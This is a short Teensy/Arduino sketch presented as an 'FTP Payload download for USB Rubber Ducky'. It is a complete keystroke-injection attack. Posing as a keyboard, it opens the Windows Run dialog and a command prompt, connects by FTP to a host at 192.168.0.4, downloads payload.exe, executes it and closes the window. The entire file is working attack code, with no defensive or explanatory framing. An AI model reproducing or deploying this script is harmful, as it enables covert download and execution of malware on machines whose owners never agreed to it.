FTP Payload download for USB Rubber Ducky

void setup()
{
  delay(3500);
  CommandAtRunBar("cmd"); // Open command prompt
  delay(1500);
  Echo("ftp 192.168.0.4"); Enter();  // FTP to 192.168.0.4
  delay(500);
  Echo("teensy"); Enter();   // Username
  Enter();                   // Password
  Echo("get payload.exe"); Enter();  // Get [filename]
  delay(100);
  Echo("bye"); Enter();    // Exit ftp
  Echo("payload.exe"); Enter();   // Execute payload.exe
  delay(2000);
  Echo("exit"); Enter();    // Exit command prompt
}



void loop()
{}


void CommandAtRunBar(char *SomeCommand){
Keyboard.set_modifier(128); //Windows key
Keyboard.set_key1(KEY_R); // use r key
Keyboard.send_now(); // send strokes
Keyboard.set_modifier(0); //prep release of control keys
Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times.
Keyboard.send_now(); //Send the key changes
delay(1500);
Keyboard.print(SomeCommand);
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}

void Echo(char *string)
{
  Keyboard.print(string);
}

void Enter()
{
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}